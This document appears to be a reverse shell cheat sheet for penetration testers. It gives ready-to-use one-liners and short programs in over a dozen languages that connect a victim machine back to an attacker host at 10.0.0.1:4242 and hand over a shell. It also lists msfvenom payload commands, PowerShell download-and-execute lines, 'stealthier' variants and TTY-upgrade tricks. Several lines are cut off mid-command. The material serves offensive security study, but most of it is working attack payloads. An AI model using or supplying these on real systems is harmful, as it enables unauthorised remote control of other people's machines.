

Reverse Shell Cheat Sheet

Summary

- [Tools](#)
- [Reverse Shell](#)
 - [Awk](#)
 - [Automatic Reverse Shell Generator](#)
 - [Bash TCP](#)
 - [Bash UDP](#)
 - [C](#)
 - [Dart](#)
 - [Golang](#)
 - [Groovy Alternative 1](#)
 - [Groovy](#)
 - [Java Alternative 1](#)
 - [Java Alternative 2](#)
 - [Java](#)
 - [Lua](#)
 - [Ncat](#)
 - [Netcat OpenBsd](#)
 - [Netcat BusyBox](#)
 - [Netcat Traditional](#)
 - [NodeJS](#)
 - [OpenSSL](#)
 - [Perl](#)
 - [PHP](#)
 - [Powershell](#)
 - [Python](#)
 - [Ruby](#)
 - [Socat](#)
 - [Telnet](#)
 - [War](#)

- Meterpreter Shell
 - Windows Staged reverse TCP
 - Windows Stageless reverse TCP
 - Linux Staged reverse TCP
 - Linux Stageless reverse TCP
 - Other platforms
- Spawn TTY Shell
- References

Tools

- [reverse-shell-generator](#) - Hosted Reverse Shell generator ([source](#))

The screenshot shows the 'Reverse Shell Generator' web interface. It features a dark theme and is divided into several sections:

- IP & Port:** Contains input fields for IP (10.1.3.37) and Port (9001) with a '+1' button.
- Listener:** Includes a 'Listener' section with a 'Type' dropdown set to 'nc' and a 'Copy' button. A code preview shows `nc -lvp 9001`. An 'Advanced' toggle is visible.
- Reverse / Bind / MSFVenom:** A tabbed interface with 'Reverse' selected. Below the tabs is an 'OS' dropdown set to 'All' and a 'Show Advanced' toggle.
- Shell Selection:** A vertical list of shell options including 'Bash -i', 'Bash 196', 'Bash read line', 'Bash 5', 'Bash udp', 'nc.mkfifo', 'nc -e', 'nc.exe -e', 'nc -c', 'ncat -e', and 'ncat.exe -e'. 'Bash -i' is currently selected.
- Code Preview:** A large text area displaying the generated command: `sh -i >& /dev/tcp/10.1.3.37/9001 0>&1`.
- Shell and Encoding:** 'Shell' is set to 'sh' and 'Encoding' is set to 'None'.
- Buttons:** 'Raw' and 'Copy' buttons are located at the bottom right.

- [revshellgen](#) - CLI Reverse Shell generator

Reverse Shell

Bash TCP

```
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
```

```
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
```

```
/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
```

Bash UDP

Victim:

```
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
```

Listener:

```
nc -u -lvp 4242
```

Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

Socat

```
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
```

```
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.
```

```
user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binar
```

Static socat binary can be found at <https://github.com/andrew-d/static-binaries>

Perl

```
perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotoby
```

```
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242
```

NOTE: Windows only

```
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,
```

Python

Linux only

IPv4

```
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import socket,os,pty;s=socket
```

```
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM
```

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK
```

```
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_ST
```

IPv4 (No Spaces)

```
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");
```

```
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__i
```

```
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=sock
```

IPv4 (No Spaces, Shortened)

```
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(
```

```
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.s
```

```
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET
```

IPv4 (No Spaces, Shortened Further)

```
python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s(
```

```
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup
```

```
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.conne
```

IPv6

```
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM)
```

IPv6 (No Spaces)

```
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");
```

IPv6 (No Spaces, Shortened)

```
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(
```

Windows only (Python2)

```
python.exe -c "(lambda __y, __g, __contextlib: [[[[[[(s.connect(('10.0.0.1', 424
```

Windows only (Python3)

```
python.exe -c "import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe']
```

PHP

```
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'  
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'  
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`';  
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'  
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'  
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
```

```
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$
```

Ruby

```
ruby -rsocket -e 'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i
```

```
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp
```

NOTE: Windows only

```
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(c
```

Golang

```
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","1
```

Netcat Traditional

```
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
```

Netcat OpenBsd

```
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```

Netcat BusyBox

```
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```

Ncat

```
ncat 10.0.0.1 4242 -e /bin/bash
ncat --udp 10.0.0.1 4242 -e /bin/bash
```

OpenSSL

Attacker:

```
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -da
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
or
user@attack$ ncat --ssl -vv -l -p 4242
```

```
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -c
```

TLS-PSK (does not rely on PKI or self-signed certificates)

```
# generate 384-bit PSK
# use the generated string as a value for the two PSK variables from below
openssl rand -hex 48
# server (attacker)
export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabo
# client (victim)
export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpsk
```

Powershell

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Socke
```

```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',
```

```
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubuser
```

Awk

```
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s
```

Java

```
Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while
p.waitFor();
```

Java Alternative 1

```
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
```

Java Alternative 2

NOTE: This is more stealthy

```
Thread thread = new Thread(){
    public void run(){
        // Reverse shell here
    }
}
thread.start();
```

Telnet

In Attacker machine start two listeners:

```
nc -lvp 8080
nc -lvp 8081
```

In Victime machine run below command:

```
telnet <Your_IP> 8080 | /bin/sh | telnet <Your_IP> 8081
```

War

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse
strings reverse.war | grep jsp # in order to get the name of the file
```

Lua

Linux only

```
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242
```

Windows and Linux


```
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") l
```

NodeJS

```
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();
```

or

```
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
```

or

```
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
```

or

<https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py>

Groovy

by [frohoff](#) NOTE: Java reverse shell also work for Groovy

```
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
```

Groovy Alternative 1

NOTE: This is more stealthy

```
Thread.start {  
    // Reverse shell here  
}
```

C

Compile with `gcc /tmp/shell.c --output csh && csh`

```
#include <stdio.h>  
#include <sys/socket.h>  
#include <sys/types.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
  
int main(void){  
    int port = 4242;  
    struct sockaddr_in revsockaddr;  
  
    int sockt = socket(AF_INET, SOCK_STREAM, 0);  
    revsockaddr.sin_family = AF_INET;  
    revsockaddr.sin_port = htons(port);  
    revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");  
  
    connect(sockt, (struct sockaddr *) &revsockaddr,  
    sizeof(revsockaddr));  
    dup2(sockt, 0);  
    dup2(sockt, 1);  
    dup2(sockt, 2);  
  
    char * const argv[] = {"/bin/sh", NULL};  
    execve("/bin/sh", argv, NULL);  
  
    return 0;  
}
```

Dart

```
import 'dart:io';  
import 'dart:convert';  
  
main() {  
    Socket.connect("10.0.0.1", 4242).then((socket) {
```

```

socket.listen((data) {
  Process.start('powershell.exe', []).then((Process process) {
    process.stdin.writeln(new String.fromCharCode(data).trim());
    process.stdout
      .transform(utf8.decoder)
      .listen((output) { socket.write(output); });
  });
},
onDone: () {
  socket.destroy();
});
});
}

```

Meterpreter Shell

Windows Staged reverse TCP

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > re
```

Windows Stageless reverse TCP

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.
```

Linux Staged reverse TCP

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >r
```

Linux Stageless reverse TCP

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse
```

Other platforms

```

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f el
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > sh
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp

```

```
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > she
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > she
$ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > sh
```

Spawn TTY Shell

In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]` .

```
rlwrap nc 10.0.0.1 4242
```

```
rlwrap -r -f . nc 10.0.0.1 4242
```

`-f .` will make `rlwrap` use the current history file as a completion word list.
`-r` Put all words seen on in- and output on the completion list.

Sometimes, you want to access shortcuts, `su`, `nano` and autocomplete in a partially tty shell.

:warning: OhMyZSH might break this trick, a simple `sh` is recommended

The main problem here is that `zsh` doesn't handle the `stty` command the same way `bash` or `sh` does. [...] `stty raw -echo; fg[...]` If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the `fg` command, your `-echo` command already lost its effect

```
ctrl+z
echo $TERM && tput lines && tput cols
```

```
# for bash
stty raw -echo
fg
```

```
# for zsh
stty raw -echo; fg
```

```
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
```

or use `socat` binary to get a fully tty reverse shell

```
socat file:`tty`,raw,echo=0 tcp-listen:12345
```

Spawn a TTY shell from an interpreter

```
/bin/sh -i  
python3 -c 'import pty; pty.spawn("/bin/sh")'  
python3 -c "__import__('pty').spawn('/bin/bash')"  
python3 -c "__import__('subprocess').call(['/bin/bash'])"  
perl -e 'exec "/bin/sh";'  
perl: exec "/bin/sh";  
perl -e 'print `"/bin/bash`'  
ruby: exec "/bin/sh"  
lua: os.execute('/bin/sh')
```

- vi: :!bash
- vi: :set shell=/bin/bash:shell
- nmap: !sh
- mysql: ! bash

Alternative TTY method

```
www-data@debian:/dev/shm$ su - user  
su: must be run from a terminal
```

```
www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null  
www-data@debian:/dev/shm$ su - user  
Password: P4ssW0rD
```

```
user@debian:~$
```

Fully interactive reverse shell on Windows

The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.

ConPtyShell uses the function [CreatePseudoConsole\(\)](#). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).

Server Side:

```
stty raw -echo; (stty size; cat) | nc -lvnp 3001
```

Client Side:

```
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-C
```

Offline version of the ps1 available at -->

<https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1>

References

- [Reverse Bash Shell One Liner](#)
- [Pentest Monkey - Cheat Sheet Reverse shell](#)
- [Spawning a TTY Shell](#)
- [Obtaining a fully interactive shell](#)